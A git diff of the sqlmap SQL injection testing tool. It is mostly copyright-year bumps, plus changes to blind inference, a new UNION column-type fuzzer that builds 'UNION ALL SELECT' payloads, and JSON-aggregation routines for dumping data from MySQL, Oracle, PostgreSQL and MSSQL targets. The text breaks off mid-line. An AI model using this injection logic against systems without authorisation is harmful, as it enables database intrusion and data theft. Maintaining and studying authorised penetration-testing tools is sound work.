python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/rangehandler.py b/lib/request/rangehandler.py index f63d0bc41db..85aeb7afbec 100644 --- a/lib/request/rangehandler.py +++ b/lib/request/rangehandler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/redirecthandler.py b/lib/request/redirecthandler.py index 5ecc2a193b8..e2de7536f55 100644 --- a/lib/request/redirecthandler.py +++ b/lib/request/redirecthandler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -13,6 +13,7 @@ from lib.core.common import getSafeExString from lib.core.common import logHTTPTraffic from lib.core.common import readInput +from lib.core.convert import getBytes from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb @@ -30,6 +31,7 @@ from lib.core.threads import getCurrentThreadData from lib.request.basic import decodePage from lib.request.basic import parseResponse +from thirdparty import six from thirdparty.six.moves import urllib as _urllib class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler): @@ -64,8 +66,7 @@ def _ask_redirect_choice(self, redcode, redurl, method): self.redirect_request = self._redirect_request def _redirect_request(self, req, fp, code, msg, headers, newurl): - newurl = newurl.replace(' ', '%20') - return _urllib.request.Request(newurl, data=req.data, headers=req.headers, origin_req_host=req.get_origin_req_host()) + return _urllib.request.Request(newurl.replace(' ', '%20'), data=req.data, headers=req.headers, origin_req_host=req.get_origin_req_host()) def http_error_302(self, req, fp, code, msg, headers): start = time.time() @@ -75,7 +76,7 @@ def http_error_302(self, req, fp, code, msg, headers): try: content = fp.read(MAX_CONNECTION_TOTAL_SIZE) except: # e.g. IncompleteRead - content = "" + content = b"" finally: if content: try: # try to write it back to the read buffer so we could reuse it in further steps @@ -153,17 +154,18 @@ class _(object): result.info() except AttributeError: def _(self): - return getattr(self, "hdrs") or {} + return getattr(self, "hdrs", {}) + result.info = types.MethodType(_, result) if not hasattr(result, "read"): def _(self, length=None): try: - retVal = getSafeExString(ex) + retVal = getSafeExString(ex) # Note: pyflakes mistakenly marks 'ex' as undefined (NOTE: tested in both Python2 and Python3) except: retVal = "" - finally: - return retVal + return getBytes(retVal) + result.read = types.MethodType(_, result) if not getattr(result, "url", None): @@ -181,7 +183,7 @@ def _(self, length=None): threadData.lastRedirectURL = (threadData.lastRequestUID, redurl) result.redcode = code - result.redurl = getUnicode(redurl) + result.redurl = getUnicode(redurl) if six.PY3 else redurl return result http_error_301 = http_error_303 = http_error_307 = http_error_302 diff --git a/lib/request/templates.py b/lib/request/templates.py index c19c9c9edf8..fb2ff012067 100644 --- a/lib/request/templates.py +++ b/lib/request/templates.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/takeover/__init__.py b/lib/takeover/__init__.py index a1e6b478904..f5f6aa0e910 100644 --- a/lib/takeover/__init__.py +++ b/lib/takeover/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/takeover/abstraction.py b/lib/takeover/abstraction.py index b85f93365a7..78bd42a0556 100644 --- a/lib/takeover/abstraction.py +++ b/lib/takeover/abstraction.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/takeover/icmpsh.py b/lib/takeover/icmpsh.py index 4aab03baf22..cf67316eb30 100644 --- a/lib/takeover/icmpsh.py +++ b/lib/takeover/icmpsh.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/takeover/metasploit.py b/lib/takeover/metasploit.py index 2e12d2c07d4..87dc156c180 100644 --- a/lib/takeover/metasploit.py +++ b/lib/takeover/metasploit.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -506,7 +506,7 @@ def _controlMsfCmd(self, proc, func): if IS_WIN: timeout = 3 - inp = "" + inp = b"" _ = time.time() while True: @@ -569,13 +569,6 @@ def _controlMsfCmd(self, proc, func): errMsg += "to open a remote session" raise SqlmapGenericException(errMsg) - if conf.liveTest and timeout: - if initialized: - send_all(proc, "exit\n") - time.sleep(2) - else: - proc.kill() - except select.error as ex: # Reference: https://github.com/andymccurdy/redis-py/pull/743/commits/2b59b25bb08ea09e98aede1b1f23a270fc085a9f if ex.args[0] == errno.EINTR: diff --git a/lib/takeover/registry.py b/lib/takeover/registry.py index 991ce631afd..461006786ec 100644 --- a/lib/takeover/registry.py +++ b/lib/takeover/registry.py @@ -1,12 +1,13 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import os +from lib.core.common import openFile from lib.core.common import randomStr from lib.core.data import conf from lib.core.data import logger @@ -48,7 +49,7 @@ def _initVars(self, regKey, regValue, regType=None, regData=None, parse=False): ) def _createLocalBatchFile(self): - self._batPathFp = open(self._batPathLocal, "w") + self._batPathFp = openFile(self._batPathLocal, "w") if self._operation == REGISTRY_OPERATION.READ: lines = self._batRead diff --git a/lib/takeover/udf.py b/lib/takeover/udf.py index fd2ed655dd7..60a2c4d6a8d 100644 --- a/lib/takeover/udf.py +++ b/lib/takeover/udf.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/takeover/web.py b/lib/takeover/web.py index b338131f5f4..674c6026dae 100644 --- a/lib/takeover/web.py +++ b/lib/takeover/web.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/takeover/xp_cmdshell.py b/lib/takeover/xp_cmdshell.py index 2f06fb047f9..b143794bd14 100644 --- a/lib/takeover/xp_cmdshell.py +++ b/lib/takeover/xp_cmdshell.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/__init__.py b/lib/techniques/__init__.py index a1e6b478904..f5f6aa0e910 100644 --- a/lib/techniques/__init__.py +++ b/lib/techniques/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/blind/__init__.py b/lib/techniques/blind/__init__.py index a1e6b478904..f5f6aa0e910 100644 --- a/lib/techniques/blind/__init__.py +++ b/lib/techniques/blind/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index 063ad733400..0ec4c3c6082 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -108,6 +108,21 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None return 0, retVal + if Backend.isDbms(DBMS.MCKOI): + match = re.search(r"\ASELECT\b(.+)\bFROM\b(.+)\Z", expression, re.I) + if match: + original = queries[Backend.getIdentifiedDbms()].inference.query + right = original.split('<')[1] + payload = payload.replace(right, "(SELECT %s FROM %s)" % (right, match.group(2).strip())) + expression = match.group(1).strip() + + elif Backend.isDbms(DBMS.FRONTBASE): + match = re.search(r"\ASELECT\b(\s+TOP\s*\([^)]+\)\s+)?(.+)\bFROM\b(.+)\Z", expression, re.I) + if match: + payload = payload.replace(INFERENCE_GREATER_CHAR, " FROM %s)%s" % (match.group(3).strip(), INFERENCE_GREATER_CHAR)) + payload = payload.replace("SUBSTRING", "(SELECT%sSUBSTRING" % (match.group(1) if match.group(1) else " "), 1) + expression = match.group(2).strip() + try: # Set kb.partRun in case "common prediction" feature (a.k.a. "good samaritan") is used or the engine is called from the API if conf.predictOutput: @@ -119,9 +134,9 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None if partialValue: firstChar = len(partialValue) - elif re.search(r"(?i)\b(LENGTH|LEN)\(", expression): + elif re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN|COUNT)\(", expression): firstChar = 0 - elif (kb.fileReadMode or dump) and conf.firstChar is not None and (isinstance(conf.firstChar, int) or (hasattr(conf.firstChar, "isdigit") and conf.firstChar.isdigit())): + elif conf.firstChar is not None and (isinstance(conf.firstChar, int) or (hasattr(conf.firstChar, "isdigit") and conf.firstChar.isdigit())): firstChar = int(conf.firstChar) - 1 if kb.fileReadMode: firstChar <<= 1 @@ -130,9 +145,9 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None else: firstChar = 0 - if re.search(r"(?i)\b(LENGTH|LEN)\(", expression): + if re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN|COUNT)\(", expression): lastChar = 0 - elif dump and conf.lastChar is not None and (isinstance(conf.lastChar, int) or (hasattr(conf.lastChar, "isdigit") and conf.lastChar.isdigit())): + elif conf.lastChar is not None and (isinstance(conf.lastChar, int) or (hasattr(conf.lastChar, "isdigit") and conf.lastChar.isdigit())): lastChar = int(conf.lastChar) elif hasattr(lastChar, "isdigit") and lastChar.isdigit() or isinstance(lastChar, int): lastChar = int(lastChar) @@ -195,7 +210,7 @@ def tryHint(idx): hintValue = kb.hintValue if payload is not None and len(hintValue or "") > 0 and len(hintValue) >= idx: - if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2): + if "'%s'" % CHAR_INFERENCE_MARK in payload: posValue = hintValue[idx - 1] else: posValue = ord(hintValue[idx - 1]) @@ -641,8 +656,8 @@ def blindThread(): elif (conf.verbose in (1, 2) and not kb.bruteMode) or conf.api: dataToStdout(filterControlChars(val)) - # some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces - if Backend.getIdentifiedDbms() in (DBMS.FIREBIRD, DBMS.DB2, DBMS.MAXDB) and len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace(): + # Note: some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces + if Backend.getIdentifiedDbms() in (DBMS.FIREBIRD, DBMS.DB2, DBMS.MAXDB, DBMS.DERBY, DBMS.FRONTBASE) and len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace(): finalValue = partialValue[:-INFERENCE_BLANK_BREAK] break elif charsetType and partialValue[-1:].isspace(): @@ -701,7 +716,7 @@ def queryOutputLength(expression, payload): lengthExprUnescaped = agent.forgeQueryOutputLength(expression) count, length = bisection(payload, lengthExprUnescaped, charsetType=CHARSET_TYPE.DIGITS) - debugMsg = "performed %d queries in %.2f seconds" % (count, calculateDeltaSeconds(start)) + debugMsg = "performed %d quer%s in %.2f seconds" % (count, 'y' if count == 1 else "ies", calculateDeltaSeconds(start)) logger.debug(debugMsg) if length == " ": diff --git a/lib/techniques/dns/__init__.py b/lib/techniques/dns/__init__.py index a1e6b478904..f5f6aa0e910 100644 --- a/lib/techniques/dns/__init__.py +++ b/lib/techniques/dns/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/dns/test.py b/lib/techniques/dns/test.py index f1f5948ada7..df49ae6291f 100644 --- a/lib/techniques/dns/test.py +++ b/lib/techniques/dns/test.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/dns/use.py b/lib/techniques/dns/use.py index 611ad75d5a8..a37a90bb1a3 100644 --- a/lib/techniques/dns/use.py +++ b/lib/techniques/dns/use.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -108,7 +108,7 @@ def dnsUse(payload, expression): hashDBWrite(expression, output) if not kb.bruteMode: - debugMsg = "performed %d queries in %.2f seconds" % (count, calculateDeltaSeconds(start)) + debugMsg = "performed %d quer%s in %.2f seconds" % (count, 'y' if count == 1 else "ies", calculateDeltaSeconds(start)) logger.debug(debugMsg) elif conf.dnsDomain: diff --git a/lib/techniques/error/__init__.py b/lib/techniques/error/__init__.py index a1e6b478904..f5f6aa0e910 100644 --- a/lib/techniques/error/__init__.py +++ b/lib/techniques/error/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/error/use.py b/lib/techniques/error/use.py index f46fc54c118..6009e004603 100644 --- a/lib/techniques/error/use.py +++ b/lib/techniques/error/use.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -80,6 +80,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False): debugMsg = "searching for error chunk length..." logger.debug(debugMsg) + seen = set() current = MAX_ERROR_CHUNK_LENGTH while current >= MIN_ERROR_CHUNK_LENGTH: testChar = str(current % 10) @@ -91,6 +92,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False): testQuery = "SELECT %s" % (agent.hexConvertField(testQuery) if conf.hexConvert else testQuery) result = unArrayizeValue(_oneShotErrorUse(testQuery, chunkTest=True)) + seen.add(current) if (result or "").startswith(testChar): if result == testChar * current: @@ -99,7 +101,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False): else: result = re.search(r"\A\w+", result).group(0) candidate = len(result) - len(kb.chars.stop) - current = candidate if candidate != current else current - 1 + current = candidate if candidate != current and candidate not in seen else current - 1 else: current = current // 2 @@ -340,9 +342,9 @@ def errorUse(expression, dump=False): else: stopLimit = int(count) - infoMsg = "used SQL query returns " - infoMsg += "%d %s" % (stopLimit, "entries" if stopLimit > 1 else "entry") - logger.info(infoMsg) + debugMsg = "used SQL query returns " + debugMsg += "%d %s" % (stopLimit, "entries" if stopLimit > 1 else "entry") + logger.debug(debugMsg) elif count and not count.isdigit(): warnMsg = "it was not possible to count the number " @@ -462,7 +464,7 @@ def errorThread(): duration = calculateDeltaSeconds(start) if not kb.bruteMode: - debugMsg = "performed %d queries in %.2f seconds" % (kb.counters[getTechnique()], duration) + debugMsg = "performed %d quer%s in %.2f seconds" % (kb.counters[getTechnique()], 'y' if kb.counters[getTechnique()] == 1 else "ies", duration) logger.debug(debugMsg) return value diff --git a/lib/techniques/union/__init__.py b/lib/techniques/union/__init__.py index a1e6b478904..f5f6aa0e910 100644 --- a/lib/techniques/union/__init__.py +++ b/lib/techniques/union/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/union/test.py b/lib/techniques/union/test.py index 8e4d25c58e8..bb079ad694c 100644 --- a/lib/techniques/union/test.py +++ b/lib/techniques/union/test.py @@ -1,10 +1,11 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ +import itertools import logging import random import re @@ -12,6 +13,7 @@ from lib.core.agent import agent from lib.core.common import average from lib.core.common import Backend +from lib.core.common import getPublicTypeMembers from lib.core.common import isNullValue from lib.core.common import listToStrValue from lib.core.common import popValue @@ -29,9 +31,13 @@ from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger +from lib.core.data import queries from lib.core.decorators import stackedmethod from lib.core.dicts import FROM_DUMMY_TABLE +from lib.core.enums import FUZZ_UNION_COLUMN from lib.core.enums import PAYLOAD +from lib.core.settings import FUZZ_UNION_ERROR_REGEX +from lib.core.settings import FUZZ_UNION_MAX_COLUMNS from lib.core.settings import LIMITED_ROWS_TEST_NUMBER from lib.core.settings import MAX_RATIO from lib.core.settings import MIN_RATIO @@ -171,6 +177,36 @@ def _orderByTest(cols): return retVal +def _fuzzUnionCols(place, parameter, prefix, suffix): + retVal = None + + if Backend.getIdentifiedDbms() and not re.search(FUZZ_UNION_ERROR_REGEX, kb.pageTemplate or "") and kb.orderByColumns: + comment = queries[Backend.getIdentifiedDbms()].comment.query + + choices = getPublicTypeMembers(FUZZ_UNION_COLUMN, True) + random.shuffle(choices) + + for candidate in itertools.product(choices, repeat=kb.orderByColumns): + if retVal: + break + elif FUZZ_UNION_COLUMN.STRING not in candidate: + continue + else: + candidate = [_.replace(FUZZ_UNION_COLUMN.INTEGER, str(randomInt())).replace(FUZZ_UNION_COLUMN.STRING, "'%s'" % randomStr(20)) for _ in candidate] + + query = agent.prefixQuery("UNION ALL SELECT %s%s" % (','.join(candidate), FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), "")), prefix=prefix) + query = agent.suffixQuery(query, suffix=suffix, comment=comment) + payload = agent.payload(newValue=query, place=place, parameter=parameter, where=PAYLOAD.WHERE.NEGATIVE) + page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False) + + if not re.search(FUZZ_UNION_ERROR_REGEX, page or ""): + for column in candidate: + if column.startswith("'") and column.strip("'") in (page or ""): + retVal = [(_ if _ != column else "%s") for _ in candidate] + break + + return retVal + def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLOAD.WHERE.ORIGINAL): validPayload = None vector = None @@ -205,7 +241,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO if content and phrase in content: validPayload = payload kb.unionDuplicates = len(re.findall(phrase, content, re.I)) > 1 - vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, conf.forcePartial) + vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, conf.forcePartial, kb.tableFrom, kb.unionTemplate) if where == PAYLOAD.WHERE.ORIGINAL: # Prepare expression with delimiters @@ -223,7 +259,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO content = ("%s%s" % (page or "", listToStrValue(headers.headers if headers else None) or "")).lower() if not all(_ in content for _ in (phrase, phrase2)): - vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True) + vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True, kb.tableFrom, kb.unionTemplate) elif not kb.unionDuplicates: fromTable = " FROM (%s) AS %s" % (" UNION ".join("SELECT %d%s%s" % (_, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""), " AS %s" % randomStr() if _ == 0 else "") for _ in xrange(LIMITED_ROWS_TEST_NUMBER)), randomStr()) @@ -237,7 +273,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO if content.count(phrase) > 0 and content.count(phrase) < LIMITED_ROWS_TEST_NUMBER: warnMsg = "output with limited number of rows detected. Switching to partial mode" logger.warn(warnMsg) - vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True) + vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True, kb.tableFrom, kb.unionTemplate) unionErrorCase = kb.errorIsNone and wasLastResponseDBMSError() @@ -277,17 +313,27 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix) vector = None orderBy = kb.orderByColumns uChars = (conf.uChar, kb.uChar) + where = PAYLOAD.WHERE.ORIGINAL if isNullValue(kb.uChar) else PAYLOAD.WHERE.NEGATIVE # In case that user explicitly stated number of columns affected if conf.uColsStop == conf.uColsStart: count = conf.uColsStart else: - count = _findUnionCharCount(comment, place, parameter, value, prefix, suffix, PAYLOAD.WHERE.ORIGINAL if isNullValue(kb.uChar) else PAYLOAD.WHERE.NEGATIVE) + count = _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where) if count: validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, count) - if not all((validPayload, vector)) and not all((conf.uChar, conf.dbms)): + if not all((validPayload, vector)) and not all((conf.uChar, conf.dbms, kb.unionTemplate)): + if Backend.getIdentifiedDbms() and kb.orderByColumns and kb.orderByColumns < FUZZ_UNION_MAX_COLUMNS: + if kb.fuzzUnionTest is None: + msg = "do you want to (re)try to find proper " + msg += "UNION column types with fuzzy test? [y/N] " + + kb.fuzzUnionTest = readInput(msg, default='N', boolean=True) + if kb.fuzzUnionTest: + kb.unionTemplate = _fuzzUnionCols(place, parameter, prefix, suffix) + warnMsg = "if UNION based SQL injection is not detected, " warnMsg += "please consider " diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index af05c946b44..2f2069c2a90 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -1,14 +1,13 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ -import binascii +import json import re import time -import xml.etree.ElementTree from lib.core.agent import agent from lib.core.bigarray import BigArray @@ -32,14 +31,11 @@ from lib.core.common import listToStrValue from lib.core.common import parseUnionPage from lib.core.common import removeReflectiveValues -from lib.core.common import safeStringFormat from lib.core.common import singleTimeDebugMessage from lib.core.common import singleTimeWarnMessage from lib.core.common import unArrayizeValue from lib.core.common import wasLastResponseDBMSError from lib.core.compat import xrange -from lib.core.convert import decodeBase64 -from lib.core.convert import getBytes from lib.core.convert import getUnicode from lib.core.convert import htmlUnescape from lib.core.data import conf @@ -74,10 +70,18 @@ def _oneShotUnionUse(expression, unpack=True, limited=False): if retVal is None: vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector - if not kb.rowXmlMode: + if not kb.jsonAggMode: injExpression = unescaper.escape(agent.concatQuery(expression, unpack)) kb.unionDuplicates = vector[7] kb.forcePartialUnion = vector[8] + + # Note: introduced columns in 1.4.2.42#dev + try: + kb.tableFrom = vector[9] + kb.unionTemplate = vector[10] + except IndexError: + pass + query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited) where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[6] else: @@ -91,7 +95,35 @@ def _oneShotUnionUse(expression, unpack=True, limited=False): incrementCounter(PAYLOAD.TECHNIQUE.UNION) - if not kb.rowXmlMode: + if kb.jsonAggMode: + if Backend.isDbms(DBMS.MSSQL): + output = extractRegexResult(r"%s(?P.*)%s" % (kb.chars.start, kb.chars.stop), page or "") + if output: + try: + retVal = "" + fields = re.findall(r'"([^"]+)":', extractRegexResult(r"{(?P[^}]+)}", output)) + for row in json.loads(output): + retVal += "%s%s%s" % (kb.chars.start, kb.chars.delimiter.join(getUnicode(row[field] or NULL) for field in fields), kb.chars.stop) + except: + pass + else: + retVal = getUnicode(retVal) + elif Backend.isDbms(DBMS.PGSQL): + output = extractRegexResult(r"(?P%s.*%s)" % (kb.chars.start, kb.chars.stop), page or "") + if output: + retVal = output + else: + output = extractRegexResult(r"%s(?P.*?)%s" % (kb.chars.start, kb.chars.stop), page or "") + if output: + try: + retVal = "" + for row in json.loads(output): + retVal += "%s%s%s" % (kb.chars.start, row, kb.chars.stop) + except: + pass + else: + retVal = getUnicode(retVal) + else: # Parse the returned page to get the exact UNION-based # SQL injection output def _(regex): @@ -107,40 +139,6 @@ def _(regex): page = page.replace(kb.chars.stop[:-1], kb.chars.stop) retVal = _("(?P%s.*%s)" % (kb.chars.start, kb.chars.stop)) - else: - output = extractRegexResult(r"(?P()+)", page) - if output: - try: - root = xml.etree.ElementTree.fromstring(safeStringFormat("%s", getBytes(output))) - retVal = "" - for column in kb.dumpColumns: - base64 = True - for child in root: - value = child.attrib.get(column, "").strip() - if value and not re.match(r"\A[a-zA-Z0-9+/]+={0,2}\Z", value): - base64 = False - break - - try: - decodeBase64(value) - except (binascii.Error, TypeError): - base64 = False - break - - if base64: - for child in root: - child.attrib[column] = decodeBase64(child.attrib.get(column, ""), binary=False) or NULL - - for child in root: - row = [] - for column in kb.dumpColumns: - row.append(child.attrib.get(column, NULL)) - retVal += "%s%s%s" % (kb.chars.start, kb.chars.delimiter.join(row), kb.chars.stop) - - except: - pass - else: - retVal = getUnicode(retVal) if retVal is not None: retVal = getUnicode(retVal, kb.pageEncoding) @@ -151,7 +149,7 @@ def _(regex): hashDBWrite("%s%s" % (conf.hexConvert or False, expression), retVal) - elif not kb.rowXmlMode: + elif not kb.jsonAggMode: trimmed = _("%s(?P.*?)<" % (kb.chars.start)) if trimmed: @@ -159,6 +157,20 @@ def _(regex): warnMsg += "(probably due to its length and/or content): " warnMsg += safecharencode(trimmed) logger.warn(warnMsg) + + elif re.search(r"ORDER BY [^ ]+\Z", expression): + debugMsg = "retrying failed SQL query without the ORDER BY clause" + singleTimeDebugMessage(debugMsg) + + expression = re.sub(r"\s*ORDER BY [^ ]+\Z", "", expression) + retVal = _oneShotUnionUse(expression, unpack, limited) + + elif kb.nchar and re.search(r" AS N(CHAR|VARCHAR)", agent.nullAndCastField(expression)): + debugMsg = "turning off NATIONAL CHARACTER casting" # NOTE: in some cases there are "known" incompatibilities between original columns and NCHAR (e.g. http://testphp.vulnweb.com/artists.php?artist=1) + singleTimeDebugMessage(debugMsg) + + kb.nchar = False + retVal = _oneShotUnionUse(expression, unpack, limited) else: vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector kb.unionDuplicates = vector[7] @@ -222,13 +234,6 @@ def unionUse(expression, unpack=True, dump=False): # Set kb.partRun in case the engine is called from the API kb.partRun = getPartRun(alias=False) if conf.api else None - if Backend.isDbms(DBMS.MSSQL) and kb.dumpColumns: - kb.rowXmlMode = True - _ = "(%s FOR XML RAW, BINARY BASE64)" % expression - output = _oneShotUnionUse(_, False) - value = parseUnionPage(output) - kb.rowXmlMode = False - if expressionFieldsList and len(expressionFieldsList) > 1 and "ORDER BY" in expression.upper(): # Removed ORDER BY clause because UNION does not play well with it expression = re.sub(r"(?i)\s*ORDER BY\s+[\w,]+", "", expression) @@ -236,6 +241,22 @@ def unionUse(expression, unpack=True, dump=False): debugMsg += "it does not play well with UNION query SQL injection" singleTimeDebugMessage(debugMsg) + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL) and expressionFields and not conf.binaryFields: + match = re.search(r"SELECT\s*(.+?)\bFROM", expression, re.I) + if match and not (Backend.isDbms(DBMS.ORACLE) and FROM_DUMMY_TABLE[DBMS.ORACLE] in expression): + kb.jsonAggMode = True + if Backend.isDbms(DBMS.MYSQL): + query = expression.replace(expressionFields, "CONCAT('%s',JSON_ARRAYAGG(CONCAT_WS('%s',%s)),'%s')" % (kb.chars.start, kb.chars.delimiter, expressionFields, kb.chars.stop), 1) + elif Backend.isDbms(DBMS.ORACLE): + query = expression.replace(expressionFields, "'%s'||JSON_ARRAYAGG(%s)||'%s'" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join(expressionFieldsList), kb.chars.stop), 1) + elif Backend.isDbms(DBMS.PGSQL): # Note: ARRAY_AGG does CSV alike output, thus enclosing start/end inside each item + query = expression.replace(expressionFields, "ARRAY_AGG('%s'||%s||'%s')::text" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join("COALESCE(%s::text,' ')" % field for field in expressionFieldsList), kb.chars.stop), 1) + elif Backend.isDbms(DBMS.MSSQL): + query = "'%s'+(%s FOR JSON AUTO, 